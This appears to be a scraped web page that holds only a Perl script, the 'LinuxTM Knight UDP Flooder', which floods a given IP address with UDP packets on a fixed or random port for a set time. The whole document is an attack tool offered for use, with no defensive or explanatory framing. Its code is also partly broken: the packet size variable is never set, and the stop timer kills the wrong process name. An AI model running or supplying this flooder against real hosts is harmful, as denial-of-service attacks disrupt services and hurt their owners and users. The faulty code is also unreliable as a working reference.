Linux|系统管理|WEB开发

#!/usr/bin/perl
 
 
use Socket;
 
$ARGC=@ARGV;
 
if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 exit(1);
}
 
my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1]; 
 $time=$ARGV[2];
 
socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");
printf "\033[1;34m LinuxTM Knight UDP Flooder \033[1;0m \n";
printf "\033[1;34m Flooding $ip on port: $port To stop type: !* SH killall -9 perl \033[1;0m \n";
 
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}
 
packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 
 
randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
</time></port></ip>